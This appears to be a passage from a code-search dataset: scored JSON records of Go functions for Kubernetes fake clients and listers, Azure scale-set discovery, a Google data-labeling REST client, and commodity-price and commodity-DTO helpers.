&ms\n\t\t\t}\n\t\t}\n\t}\n\n\t// TODO: label filter\n\tpods, err := o.kube.CoreV1().Pods(o.namespace).List(ctx, metav1.ListOptions{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, pod := range pods.Items {\n\t\tfor _, es := range resources {\n\t\t\tes := es\n\t\t\t// TODO: leaky abstraction\n\t\t\tif v, ok := pod.Labels[esDataSetLabelKey]; ok && v == es.ElasticsearchDataSet.Name {\n\t\t\t\tes.Pods = append(es.Pods, pod)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\treturn resources, nil\n}", "title": "" }, { "docid": "c6b9aed9418219f4a81b5eabf84ea164", "score": "0.47570658", "text": "func (s backupSelectionNamespaceLister) List(selector labels.Selector) (ret []*v1alpha1.BackupSelection, err error) {\n\terr = cache.ListAllByNamespace(s.indexer, s.namespace, selector, func(m interface{}) {\n\t\tret = append(ret, m.(*v1alpha1.BackupSelection))\n\t})\n\treturn ret, err\n}", "title": "" }, { "docid": "2d61e823f445e13feff6d93ada67d5cd", "score": "0.47555244", "text": "func (c *FakeCustomClusterBuilders) List(opts v1.ListOptions) (result *v1alpha1.CustomClusterBuilderList, err error) {\n\tobj, err := c.Fake.\n\t\tInvokes(testing.NewRootListAction(customclusterbuildersResource, customclusterbuildersKind, opts), &v1alpha1.CustomClusterBuilderList{})\n\tif obj == nil {\n\t\treturn nil, err\n\t}\n\n\tlabel, _, _ := testing.ExtractFromListOptions(opts)\n\tif label == nil {\n\t\tlabel = labels.Everything()\n\t}\n\tlist := &v1alpha1.CustomClusterBuilderList{ListMeta: obj.(*v1alpha1.CustomClusterBuilderList).ListMeta}\n\tfor _, item := range obj.(*v1alpha1.CustomClusterBuilderList).Items {\n\t\tif label.Matches(labels.Set(item.Labels)) {\n\t\t\tlist.Items = append(list.Items, item)\n\t\t}\n\t}\n\treturn list, err\n}", "title": "" }, { "docid": "5fd34b94a1230cfd13bb6c588c427958", "score": "0.47506815", "text": "func (c *FakeReboots) List(opts v1.ListOptions) (result *v1alpha1.RebootList, err error) {\n\tobj, err := c.Fake.\n\t\tInvokes(testing.NewListAction(rebootsResource, rebootsKind, c.ns, opts), &v1alpha1.RebootList{})\n\n\tif obj == nil {\n\t\treturn nil, err\n\t}\n\n\tlabel, _, _ := testing.ExtractFromListOptions(opts)\n\tif label == nil {\n\t\tlabel = labels.Everything()\n\t}\n\tlist := &v1alpha1.RebootList{}\n\tfor _, item := range obj.(*v1alpha1.RebootList).Items {\n\t\tif label.Matches(labels.Set(item.Labels)) {\n\t\t\tlist.Items = append(list.Items, item)\n\t\t}\n\t}\n\treturn list, err\n}", "title": "" }, { "docid": "ba815d47244838d09164a0065b870ed0", "score": "0.4747202", "text": "func LabelsToListOptions(labels map[string]string) metav1.ListOptions {\n\tvar selectors []string\n\tfor k, v := range labels {\n\t\tselectors = append(selectors, fmt.Sprintf(\"%s=%s\", k, v))\n\t}\n\treturn metav1.ListOptions{\n\t\tLabelSelector: strings.Join(selectors, \",\"),\n\t}\n}", "title": "" }, { "docid": "a70d22149248102d382e5200d8fe06f6", "score": "0.4740151", "text": "func (svcw *ServiceWatcher) ListBySelector(set map[string]string) (ret []*api.Service, err error) {\n\tselector := labels.SelectorFromSet(set)\n\terr = cache.ListAll(svcw.serviceLister, selector, func(m interface{}) {\n\t\tret = append(ret, m.(*api.Service))\n\t})\n\treturn ret, err\n}", "title": "" }, { "docid": "57c4ba2c54cc3dbd2abecc1278fb5166", "score": "0.47398993", "text": "func (c *FakeKinds) List(opts v1.ListOptions) (result *v1beta1.KindList, err error) {\n\tobj, err := c.Fake.\n\t\tInvokes(testing.NewListAction(kindsResource, kindsKind, c.ns, opts), &v1beta1.KindList{})\n\n\tif obj == nil {\n\t\treturn nil, err\n\t}\n\n\tlabel, _, _ := testing.ExtractFromListOptions(opts)\n\tif label == nil {\n\t\tlabel = labels.Everything()\n\t}\n\tlist := &v1beta1.KindList{ListMeta: obj.(*v1beta1.KindList).ListMeta}\n\tfor _, item := range obj.(*v1beta1.KindList).Items {\n\t\tif label.Matches(labels.Set(item.Labels)) {\n\t\t\tlist.Items = append(list.Items, item)\n\t\t}\n\t}\n\treturn list, err\n}", "title": "" }, { "docid": "381c2378e1de42679f742a06e34a712a", "score": "0.47390738", "text": "func (c *FakeComputeProjectMetadatas) List(opts v1.ListOptions) (result *v1alpha1.ComputeProjectMetadataList, err error) {\n\tobj, err := c.Fake.\n\t\tInvokes(testing.NewListAction(computeprojectmetadatasResource, computeprojectmetadatasKind, c.ns, opts), &v1alpha1.ComputeProjectMetadataList{})\n\n\tif obj == nil {\n\t\treturn nil, err\n\t}\n\n\tlabel, _, _ := testing.ExtractFromListOptions(opts)\n\tif label == nil {\n\t\tlabel = labels.Everything()\n\t}\n\tlist := &v1alpha1.ComputeProjectMetadataList{ListMeta: obj.(*v1alpha1.ComputeProjectMetadataList).ListMeta}\n\tfor _, item := range obj.(*v1alpha1.ComputeProjectMetadataList).Items {\n\t\tif label.Matches(labels.Set(item.Labels)) {\n\t\t\tlist.Items = append(list.Items, item)\n\t\t}\n\t}\n\treturn list, err\n}", "title": "" }, { "docid": "e453921536f7180ffbadef3371d5c6f7", "score": "0.473504", "text": "func (r *Registry) List() []Interface {\n\tr.lock.RLock()\n\tdefer r.lock.RUnlock()\n\n\treturn r.models\n}", "title": "" }, { "docid": "b7c6e3795963be489f2e6b3c021a7ac5", "score": "0.47330233", "text": "func (s *redshiftParameterGroupLister) List(selector labels.Selector) (ret []*v1alpha1.RedshiftParameterGroup, err error) {\n\terr = cache.ListAll(s.indexer, selector, func(m interface{}) {\n\t\tret = append(ret, m.(*v1alpha1.RedshiftParameterGroup))\n\t})\n\treturn ret, err\n}", "title": "" }, { "docid": "ffdda3b07546ec9ea1d3db75f9bfc036", "score": "0.47325855", "text": "func (c *FakeObjectSyncs) List(ctx context.Context, opts v1.ListOptions) (result *v1alpha1.ObjectSyncList, err error) {\n\tobj, err := c.Fake.\n\t\tInvokes(testing.NewListAction(objectsyncsResource, objectsyncsKind, c.ns, opts), &v1alpha1.ObjectSyncList{})\n\n\tif obj == nil {\n\t\treturn nil, err\n\t}\n\n\tlabel, _, _ := testing.ExtractFromListOptions(opts)\n\tif label == nil {\n\t\tlabel = labels.Everything()\n\t}\n\tlist := &v1alpha1.ObjectSyncList{ListMeta: obj.(*v1alpha1.ObjectSyncList).ListMeta}\n\tfor _, item := range obj.(*v1alpha1.ObjectSyncList).Items {\n\t\tif label.Matches(labels.Set(item.Labels)) {\n\t\t\tlist.Items = append(list.Items, item)\n\t\t}\n\t}\n\treturn list, err\n}", "title": "" }, { "docid": "6d6ae61e86482c3647adbae9e1e194d2", "score": "0.47058553", "text": "func (rrsets ResourceRecordSets) Get(name string) ([]dnsprovider.ResourceRecordSet, error) {\n\tvar list []dnsprovider.ResourceRecordSet\n\n\trecord := new(godynect.Record)\n\trecord.Zone = rrsets.zone.Name()\n\trrsets.populateRecordWithName(name, record)\n\n\trecords, err := rrsets.zone.zones.intf.dynDNSAPI.GetRecordByName(record)\n\n\tif err != nil {\n\t\tglog.Errorf(\"Failed to get record with name %s, %v\", name, err)\n\t\treturn list, nil\n\t}\n\n\tfor _, rec := range records {\n\t\tr := ResourceRecordSet{rec, &rrsets}\n\t\tlist = append(list, r)\n\t}\n\n\treturn list, nil\n}", "title": "" }, { "docid": "7bf543d5f1f4d8a19a3ba7199d3f8e3f", "score": "0.46903712", "text": "func newList(data []byte) (*metav1.List, error) {\n\tlist, err := kubernetes.NewList(data)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"loading individual resources from manifest\")\n\t}\n\treturn list, nil\n}", "title": "" }, { "docid": "f3efa76cef857c262d98d52d1f6726d0", "score": "0.46877605", "text": "func (c *FakeShimInstances) List(ctx context.Context, opts v1.ListOptions) (result *v1alpha1.ShimInstanceList, err error) {\n\tobj, err := c.Fake.\n\t\tInvokes(testing.NewListAction(shiminstancesResource, shiminstancesKind, c.ns, opts), &v1alpha1.ShimInstanceList{})\n\n\tif obj == nil {\n\t\treturn nil, err\n\t}\n\n\tlabel, _, _ := testing.ExtractFromListOptions(opts)\n\tif label == nil {\n\t\tlabel = labels.Everything()\n\t}\n\tlist := &v1alpha1.ShimInstanceList{ListMeta: obj.(*v1alpha1.ShimInstanceList).ListMeta}\n\tfor _, item := range obj.(*v1alpha1.ShimInstanceList).Items {\n\t\tif label.Matches(labels.Set(item.Labels)) {\n\t\t\tlist.Items = append(list.Items, item)\n\t\t}\n\t}\n\treturn list, err\n}", "title": "" }, { "docid": "0e1fe3409fabb3b0daef7e177c41d974", "score": "0.46836764", "text": "func (r *REST) List(ctx kapi.Context, label labels.Selector, field fields.Selector) (runtime.Object, error) {\n\timageStreamList, err := r.imageStreamRegistry.ListImageStreams(ctx, label)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\timageRepoList := api.ImageRepositoryList{}\n\tif err := kapi.Scheme.Convert(imageStreamList, &imageRepoList); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &imageRepoList, nil\n}", "title": "" }, { "docid": "76639bbc590ee6bffdcf78663569fea2", "score": "0.46789986", "text": "func (cl *Client) List(kind config.GroupVersionKind, namespace string) ([]config.Config, error) {\n\th, f := cl.kind(kind)\n\tif !f {\n\t\treturn nil, nil\n\t}\n\n\tlist, err := h.lister(namespace).List(klabels.Everything())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tout := make([]config.Config, 0, len(list))\n\tfor _, item := range list {\n\t\tcfg := TranslateObject(item.(*unstructured.Unstructured), cl.domainSuffix, h.schema)\n\t\tif cl.objectInRevision(cfg) {\n\t\t\tout = append(out, *cfg)\n\t\t}\n\t}\n\n\treturn out, err\n}", "title": "" }, { "docid": "ab030f7ad6de9d43d104e2ad0832c89c", "score": "0.46765003", "text": "func (c *FakeGenerics) List(ctx context.Context, opts v1.ListOptions) (result *v1alpha1.GenericList, err error) {\n\tobj, err := c.Fake.\n\t\tInvokes(testing.NewListAction(genericsResource, genericsKind, c.ns, opts), &v1alpha1.GenericList{})\n\n\tif obj == nil {\n\t\treturn nil, err\n\t}\n\n\tlabel, _, _ := testing.ExtractFromListOptions(opts)\n\tif label == nil {\n\t\tlabel = labels.Everything()\n\t}\n\tlist := &v1alpha1.GenericList{ListMeta: obj.(*v1alpha1.GenericList).ListMeta}\n\tfor _, item := range obj.(*v1alpha1.GenericList).Items {\n\t\tif label.Matches(labels.Set(item.Labels)) {\n\t\t\tlist.Items = append(list.Items, item)\n\t\t}\n\t}\n\treturn list, err\n}", "title": "" }, { "docid": "1474d46d8996fbeb24b8f747294767eb", "score": "0.4674514", "text": "func (ns *namespaceRepository) List() ([]resource.Namespace, error) {\n\tnamespaces := []resource.Namespace{\n\t\t{\n\t\t\tName: \"test\",\n\t\t\tPhase: \"Active\",\n\t\t},\n\t}\n\n\treturn namespaces, nil\n}", "title": "" }, { "docid": "9e7cf4b56befe5d2770a33d50bcc38cf", "score": "0.4671363", "text": "func (c *FakePerconaXtraDBClusterBackups) List(opts v1.ListOptions) (result *pxcv1.PerconaXtraDBClusterBackupList, err error) {\n\tobj, err := c.Fake.\n\t\tInvokes(testing.NewListAction(perconaxtradbclusterbackupsResource, perconaxtradbclusterbackupsKind, c.ns, opts), &pxcv1.PerconaXtraDBClusterBackupList{})\n\n\tif obj == nil {\n\t\treturn nil, err\n\t}\n\n\tlabel, _, _ := testing.ExtractFromListOptions(opts)\n\tif label == nil {\n\t\tlabel = labels.Everything()\n\t}\n\tlist := &pxcv1.PerconaXtraDBClusterBackupList{ListMeta: obj.(*pxcv1.PerconaXtraDBClusterBackupList).ListMeta}\n\tfor _, item := range obj.(*pxcv1.PerconaXtraDBClusterBackupList).Items {\n\t\tif label.Matches(labels.Set(item.Labels)) {\n\t\t\tlist.Items = append(list.Items, item)\n\t\t}\n\t}\n\treturn list, err\n}", "title": "" }, { "docid": "e24eeaf69a1cb3981e68fab7d77c2e0b", "score": "0.46705037", "text": "func (c *restClient) ListDatasets(ctx context.Context, req *datalabelingpb.ListDatasetsRequest, opts ...gax.CallOption) *DatasetIterator {\n\tit := &DatasetIterator{}\n\treq = proto.Clone(req).(*datalabelingpb.ListDatasetsRequest)\n\tunm := protojson.UnmarshalOptions{AllowPartial: true, DiscardUnknown: true}\n\tit.InternalFetch = func(pageSize int, pageToken string) ([]*datalabelingpb.Dataset, string, error) {\n\t\tresp := &datalabelingpb.ListDatasetsResponse{}\n\t\tif pageToken != \"\" {\n\t\t\treq.PageToken = pageToken\n\t\t}\n\t\tif pageSize > math.MaxInt32 {\n\t\t\treq.PageSize = math.MaxInt32\n\t\t} else if pageSize != 0 {\n\t\t\treq.PageSize = int32(pageSize)\n\t\t}\n\t\tbaseUrl, err := url.Parse(c.endpoint)\n\t\tif err != nil {\n\t\t\treturn nil, \"\", err\n\t\t}\n\t\tbaseUrl.Path += fmt.Sprintf(\"/v1beta1/%v/datasets\", req.GetParent())\n\n\t\tparams := url.Values{}\n\t\tparams.Add(\"$alt\", \"json;enum-encoding=int\")\n\t\tif req.GetFilter() != \"\" {\n\t\t\tparams.Add(\"filter\", fmt.Sprintf(\"%v\", req.GetFilter()))\n\t\t}\n\t\tif req.GetPageSize() != 0 {\n\t\t\tparams.Add(\"pageSize\", fmt.Sprintf(\"%v\", req.GetPageSize()))\n\t\t}\n\t\tif req.GetPageToken() != \"\" {\n\t\t\tparams.Add(\"pageToken\", fmt.Sprintf(\"%v\", req.GetPageToken()))\n\t\t}\n\n\t\tbaseUrl.RawQuery = params.Encode()\n\n\t\t// Build HTTP headers from client and context metadata.\n\t\thds := append(c.xGoogHeaders, \"Content-Type\", \"application/json\")\n\t\theaders := gax.BuildHeaders(ctx, hds...)\n\t\te := gax.Invoke(ctx, func(ctx context.Context, settings gax.CallSettings) error {\n\t\t\tif settings.Path != \"\" {\n\t\t\t\tbaseUrl.Path = settings.Path\n\t\t\t}\n\t\t\thttpReq, err := http.NewRequest(\"GET\", baseUrl.String(), nil)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\thttpReq.Header = headers\n\n\t\t\thttpRsp, err := c.httpClient.Do(httpReq)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdefer httpRsp.Body.Close()\n\n\t\t\tif err = googleapi.CheckResponse(httpRsp); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tbuf, err := io.ReadAll(httpRsp.Body)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tif err := unm.Unmarshal(buf, resp); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\treturn nil\n\t\t}, opts...)\n\t\tif e != nil {\n\t\t\treturn nil, \"\", e\n\t\t}\n\t\tit.Response = resp\n\t\treturn resp.GetDatasets(), resp.GetNextPageToken(), nil\n\t}\n\n\tfetch := func(pageSize int, pageToken string) (string, error) {\n\t\titems, nextPageToken, err := it.InternalFetch(pageSize, pageToken)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tit.items = append(it.items, items...)\n\t\treturn nextPageToken, nil\n\t}\n\n\tit.pageInfo, it.nextFunc = iterator.NewPageInfo(fetch, it.bufLen, it.takeBuf)\n\tit.pageInfo.MaxSize = int(req.GetPageSize())\n\tit.pageInfo.Token = req.GetPageToken()\n\n\treturn it\n}", "title": "" }, { "docid": "f16f15be24c3e8fa6d77d9d68b6be449", "score": "0.4667429", "text": "func (m MatchingLabelsSelector) ApplyToList(opts *ListOptions) {\n\topts.LabelSelector = m\n}", "title": "" }, { "docid": "217864c6143481b83729a5c48f9d9d0c", "score": "0.4666869", "text": "func (ss *scaleSet) listScaleSets(resourceGroup string) ([]string, error) {\n\tctx, cancel := getContextWithCancel()\n\tdefer cancel()\n\n\tallScaleSets, rerr := ss.VirtualMachineScaleSetsClient.List(ctx, resourceGroup)\n\tif rerr != nil {\n\t\tklog.Errorf(\"VirtualMachineScaleSetsClient.List failed: %v\", rerr)\n\t\treturn nil, rerr.Error()\n\t}\n\n\tssNames := make([]string, 0)\n\tfor _, vmss := range allScaleSets {\n\t\tname := *vmss.Name\n\t\tif vmss.Sku != nil && pointer.Int64Deref(vmss.Sku.Capacity, 0) == 0 {\n\t\t\tklog.V(3).Infof(\"Capacity of VMSS %q is 0, skipping\", name)\n\t\t\tcontinue\n\t\t}\n\n\t\tif vmss.VirtualMachineScaleSetProperties == nil || vmss.VirtualMachineScaleSetProperties.VirtualMachineProfile == nil {\n\t\t\tklog.V(3).Infof(\"VMSS %q orchestrationMode is VirtualMachine, skipping\", name)\n\t\t\tcontinue\n\t\t}\n\n\t\tssNames = append(ssNames, name)\n\t}\n\n\treturn ssNames, nil\n}", "title": "" }, { "docid": "0e1e645922b4ab8b00ed4a19a4fa8c57", "score": "0.46651068", "text": "func (m *AzureManager) getFilteredScaleSets(filter []labelAutoDiscoveryConfig) ([]cloudprovider.NodeGroup, error) {\n\tvmssList := m.azureCache.getScaleSets()\n\n\tvar nodeGroups []cloudprovider.NodeGroup\n\tfor _, scaleSet := range vmssList {\n\t\tif len(filter) > 0 {\n\t\t\tif scaleSet.Tags == nil || len(scaleSet.Tags) == 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif !matchDiscoveryConfig(scaleSet.Tags, filter) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\tspec := &dynamic.NodeGroupSpec{\n\t\t\tName: *scaleSet.Name,\n\t\t\tMinSize: 1,\n\t\t\tMaxSize: -1,\n\t\t\tSupportScaleToZero: scaleToZeroSupportedVMSS,\n\t\t}\n\n\t\tif val, ok := scaleSet.Tags[\"min\"]; ok {\n\t\t\tif minSize, err := strconv.Atoi(*val); err == nil {\n\t\t\t\tspec.MinSize = minSize\n\t\t\t} else {\n\t\t\t\tklog.Warningf(\"ignoring vmss %q because of invalid minimum size specified for vmss: %s\", *scaleSet.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t} else {\n\t\t\tklog.Warningf(\"ignoring vmss %q because of no minimum size specified for vmss\", *scaleSet.Name)\n\t\t\tcontinue\n\t\t}\n\t\tif spec.MinSize < 0 {\n\t\t\tklog.Warningf(\"ignoring vmss %q because of minimum size must be a non-negative number of nodes\", *scaleSet.Name)\n\t\t\tcontinue\n\t\t}\n\t\tif val, ok := scaleSet.Tags[\"max\"]; ok {\n\t\t\tif maxSize, err := strconv.Atoi(*val); err == nil {\n\t\t\t\tspec.MaxSize = maxSize\n\t\t\t} else {\n\t\t\t\tklog.Warningf(\"ignoring vmss %q because of invalid maximum size specified for vmss: %s\", *scaleSet.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t} else {\n\t\t\tklog.Warningf(\"ignoring vmss %q because of no maximum size specified for vmss\", *scaleSet.Name)\n\t\t\tcontinue\n\t\t}\n\t\tif spec.MaxSize < spec.MinSize {\n\t\t\tklog.Warningf(\"ignoring vmss %q because of maximum size must be greater than minimum size: max=%d < min=%d\", *scaleSet.Name, spec.MaxSize, spec.MinSize)\n\t\t\tcontinue\n\t\t}\n\n\t\tcurSize := int64(-1)\n\t\tif scaleSet.Sku != nil && scaleSet.Sku.Capacity != nil {\n\t\t\tcurSize = *scaleSet.Sku.Capacity\n\t\t}\n\n\t\tvmss, err := NewScaleSet(spec, m, curSize)\n\t\tif err != nil {\n\t\t\tklog.Warningf(\"ignoring vmss %q %s\", *scaleSet.Name, err)\n\t\t\tcontinue\n\t\t}\n\t\tnodeGroups = append(nodeGroups, vmss)\n\t}\n\n\treturn nodeGroups, nil\n}", "title": "" } ]
350ff7dd24400a39fa2de717828be520
mapCommodities maps each commodity with its name.
[ { "docid": "1f43d59ec3ebe348199e8cdd495bbb7c", "score": "0.80882925", "text": "func mapCommodities(cmds []models.Commodity) map[string]models.Commodity {\n\tm := make(map[string]models.Commodity)\n\tfor _, c := range cmds {\n\t\tm[c.Name] = c\n\t}\n\treturn m\n}", "title": "" } ]
[ { "docid": "7c28073291eb63dc2654b13f68ce4b4c", "score": "0.70502836", "text": "func getCommodities() (map[string]models.Commodity, error) {\n\n\t// get current records\n\trs, err := getRecords()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"getting records: %w\", err)\n\t}\n\n\t// parse into slice of commodities\n\tcmds, err := parseRecords(rs)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// parsu into map of commodities\n\tm := mapCommodities(cmds)\n\n\treturn m, nil\n}", "title": "" }, { "docid": "44335dd4ddb55f29dbfb76b5279b47ff", "score": "0.560342", "text": "func (podProbe *PodProbe) getCommoditiesBought(pod *api.Pod, podResourceStat *PodResourceStat) []*sdk.CommodityDTO {\n\tvar commoditiesBought []*sdk.CommodityDTO\n\tcpuAllocationCommBought := sdk.NewCommodtiyDTOBuilder(sdk.CommodityDTO_CPU_ALLOCATION).\n\t\tKey(\"Container\").\n\t\tUsed(podResourceStat.cpuAllocationUsed).\n\t\tCreate()\n\tcommoditiesBought = append(commoditiesBought, cpuAllocationCommBought)\n\tmemAllocationCommBought := sdk.NewCommodtiyDTOBuilder(sdk.CommodityDTO_MEM_ALLOCATION).\n\t\tKey(\"Container\").\n\t\tUsed(podResourceStat.memAllocationUsed).\n\t\tCreate()\n\tcommoditiesBought = append(commoditiesBought, memAllocationCommBought)\n\tselectormap := pod.Spec.NodeSelector\n\tif len(selectormap) > 0 {\n\t\tfor key, value := range selectormap {\n\t\t\tstr1 := key + \"=\" + value\n\t\t\taccessComm := sdk.NewCommodtiyDTOBuilder(sdk.CommodityDTO_VMPM_ACCESS).Key(str1).Create()\n\t\t\tcommoditiesBought = append(commoditiesBought, accessComm)\n\t\t}\n\t}\n\treturn commoditiesBought\n}", "title": "" }, { "docid": "f5f97890f1dcb38686981d7a852572e1", "score": "0.53211224", "text": "func (m Map) Cities() []string {\n\tcityNames := make([]string, len(m))\n\tvar i int\n\tfor cityName := range m {\n\t\tcityNames[i] = cityName\n\t\ti++\n\t}\n\treturn cityNames\n}", "title": "" }, { "docid": "94f0ea7c1ff11cf22518fbb50589a190", "score": "0.5092503", "text": "func (builder *applicationEntityDTOBuilder) getCommoditiesSold(pod *api.Pod, index int) ([]*proto.CommodityDTO, error) {\n\tvar result []*proto.CommodityDTO\n\n\tpodClusterId := util.GetPodClusterID(pod)\n\tsvc := builder.podClusterIDToServiceMap[podClusterId]\n\t// commodity key using service Id\n\tvar key string\n\n\t// Service is associated with the pod, then the commodities key is the service Id,\n\t// Else, it is computed using the container IP\n\tif svc != nil {\n\t\t// Use svc UID as key to be universally unique across different clusters\n\t\tkey = string(svc.UID)\n\t} else {\n\t\tkey = pod.Status.PodIP\n\t}\n\n\t// Sold commodity Key is appended with the container index,\n\t// to distinguish between the main application serving the virtual application service\n\t// and the sidecar application in the pod\n\tif index > 0 {\n\t\tkey = fmt.Sprintf(\"%s-%d\", key, index)\n\t}\n\n\t// Application Access Commodity in lieu of Transaction and ResponseTime commodities\n\tebuilder := sdkbuilder.NewCommodityDTOBuilder(proto.CommodityDTO_APPLICATION).Key(key)\n\n\ttranCommodity, err := ebuilder.Create()\n\tif err != nil {\n\t\tglog.Errorf(\"Failed to create application(%s) commodity sold:%v\", key, err)\n\t\treturn nil, err\n\t}\n\tresult = append(result, tranCommodity)\n\n\treturn result, nil\n}", "title": "" }, { "docid": "88a290cdc31eba0cc237dd5eb476c5da", "score": "0.507689", "text": "func (podProbe *PodProbe) getCommoditiesSold(pod *api.Pod, podResourceStat *PodResourceStat) []*sdk.CommodityDTO {\n\tpodNameWithNamespace := pod.Namespace + \"/\" + pod.Name\n\tvar commoditiesSold []*sdk.CommodityDTO\n\tmemAllocationComm := sdk.NewCommodtiyDTOBuilder(sdk.CommodityDTO_MEM_ALLOCATION).\n\t\tKey(podNameWithNamespace).\n\t\tCapacity(float64(podResourceStat.memAllocationCapacity)).\n\t\tUsed(podResourceStat.memAllocationUsed).\n\t\tCreate()\n\tcommoditiesSold = append(commoditiesSold, memAllocationComm)\n\tcpuAllocationComm := sdk.NewCommodtiyDTOBuilder(sdk.CommodityDTO_CPU_ALLOCATION).\n\t\tKey(podNameWithNamespace).\n\t\tCapacity(float64(podResourceStat.cpuAllocationCapacity)).\n\t\tUsed(podResourceStat.cpuAllocationUsed).\n\t\tCreate()\n\tcommoditiesSold = append(commoditiesSold, cpuAllocationComm)\n\treturn commoditiesSold\n}", "title": "" }, { "docid": "609e3cd82b8f6ba5f433f6ff66d395e3", "score": "0.5060147", "text": "func New(l *log.Logger, cd *data.CommoditiesData) *Commodities {\n\tc := &Commodities{\n\t\tlog: l,\n\t\tdata: cd,\n\t\tsubscribtions: make(map[commodity.Commodity_SubscribeCommodityServer][]*commodity.CommodityRequest),\n\t}\n\n\treturn c\n}", "title": "" }, { "docid": "290a2b30450d3185dfb113b5efaae5f4", "score": "0.5043109", "text": "func (builder *applicationEntityDTOBuilder) getApplicationCommoditiesBought(appMId, podName, containerId string, cpuFrequency float64) ([]*proto.CommodityDTO, error) {\n\tvar commoditiesBought []*proto.CommodityDTO\n\n\tconverter := NewConverter().Set(func(input float64) float64 { return util.MetricMilliToUnit(input) * cpuFrequency }, metrics.CPU)\n\t// Resource commodities.\n\tresourceCommoditiesBought := builder.getResourceCommoditiesBought(metrics.ApplicationType, appMId, applicationResourceCommodityBought, converter, nil)\n\tif len(resourceCommoditiesBought) != len(applicationResourceCommodityBought) {\n\t\treturn nil, fmt.Errorf(\"mismatch num of commidities (%d Vs. %d) for application:%s, %s\",\n\t\t\tlen(resourceCommoditiesBought), len(applicationResourceCommodityBought), podName, appMId)\n\t}\n\tcommoditiesBought = append(commoditiesBought, resourceCommoditiesBought...)\n\n\t// Application commodity\n\tapplicationCommBought, err := sdkbuilder.NewCommodityDTOBuilder(proto.CommodityDTO_APPLICATION).\n\t\tKey(containerId).\n\t\tCreate()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcommoditiesBought = append(commoditiesBought, applicationCommBought)\n\treturn commoditiesBought, nil\n}", "title": "" }, { "docid": "0170cb16f105da8b3fffa91455ad372e", "score": "0.49276134", "text": "func (w *World) getCities() []string {\n\tcities := make([]string, len(w.Cities))\n\ti := 0\n\tfor k, _ := range w.Cities {\n\t\tcities[i] = k\n\t\ti++\n\t}\n\treturn cities\n}", "title": "" }, { "docid": "41ddd44fba15766576dad037836a3034", "score": "0.48468056", "text": "func (c *Commodities) GetCommodity(ctx context.Context, req *commodity.CommodityRequest) (*commodity.CommodityResponse, error) {\n\n\t// handling\n\tresp, err := c.handleRequest(req)\n\tif err != nil {\n\t\tc.log.Printf(\"[ERROR] handle request data: %v\", err)\n\n\t\tgErr := status.Newf(\n\t\t\tcodes.NotFound,\n\t\t\t\"Name of the commodity \\\"%s\\\" was not found.\", req.GetName(),\n\t\t)\n\t\tgErr, wde := gErr.WithDetails(req)\n\t\tif wde != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn nil, gErr.Err()\n\t}\n\n\t// success\n\tc.log.Printf(\"[SUCCESS] respond to the client's GetCommodity request: %s\", req.GetName())\n\treturn resp, nil\n}", "title": "" }, { "docid": "851a8685e71858858946e2af0ce7361f", "score": "0.47670785", "text": "func communitiesFor(cf *configFile) []v1beta1.Community {\n\tif len(cf.BGPCommunities) == 0 {\n\t\treturn nil\n\t}\n\n\tcommunitiesAliases := make([]v1beta1.CommunityAlias, 0)\n\t// in order to make the rendering stable, we must have a sorted list of communities.\n\tsortedCommunities := make([]string, 0, len(cf.BGPCommunities))\n\n\tfor n := range cf.BGPCommunities {\n\t\tsortedCommunities = append(sortedCommunities, n)\n\t}\n\tsort.Strings(sortedCommunities)\n\n\tfor _, v := range sortedCommunities {\n\t\tcommunityAlias := v1beta1.CommunityAlias{\n\t\t\tName: v,\n\t\t\tValue: cf.BGPCommunities[v],\n\t\t}\n\t\tcommunitiesAliases = append(communitiesAliases, communityAlias)\n\t}\n\n\tres := v1beta1.Community{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: \"communities\",\n\t\t\tNamespace: resourcesNameSpace,\n\t\t},\n\t\tSpec: v1beta1.CommunitySpec{\n\t\t\tCommunities: communitiesAliases,\n\t\t},\n\t}\n\treturn []v1beta1.Community{res}\n}", "title": "" }, { "docid": "d59df6c16274155c5201a5408731d168", "score": "0.4731079", "text": "func parseRecords(rs []record) ([]models.Commodity, error) {\n\n\t// list of commodities\n\tvar cmds []models.Commodity\n\t// parse each record\n\tfor _, r := range rs {\n\n\t\t// parse name\n\t\tn := strings.TrimSpace(r.name)\n\t\tname := strings.ToLower(n) // Name\n\n\t\t// parse price\n\t\tpStr := strings.TrimSpace(r.price)\n\t\tpStr = strings.ReplaceAll(pStr, \",\", \"\")\n\t\tpriceF64, err := strconv.ParseFloat(pStr, 32)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"parsing commodity price: %w\", err)\n\t\t}\n\t\tprice := float32(priceF64) // Price\n\n\t\t// parse chp\n\t\tchpStr := strings.ReplaceAll(r.chp, \"%\", \"\")\n\t\tchpStr = strings.TrimSpace(chpStr)\n\t\tchpF64, err := strconv.ParseFloat(chpStr, 32)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"parsing commodity percentages change: %w\", err)\n\t\t}\n\t\tchangeP := float32(chpF64) // ChangeP\n\n\t\t// parse chn\n\t\tchnStr := strings.ReplaceAll(r.chn, \"%\", \"\")\n\t\tchnStr = strings.TrimSpace(chnStr)\n\t\tchnF64, err := strconv.ParseFloat(chnStr, 32)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"parsing commodity number change: %w\", 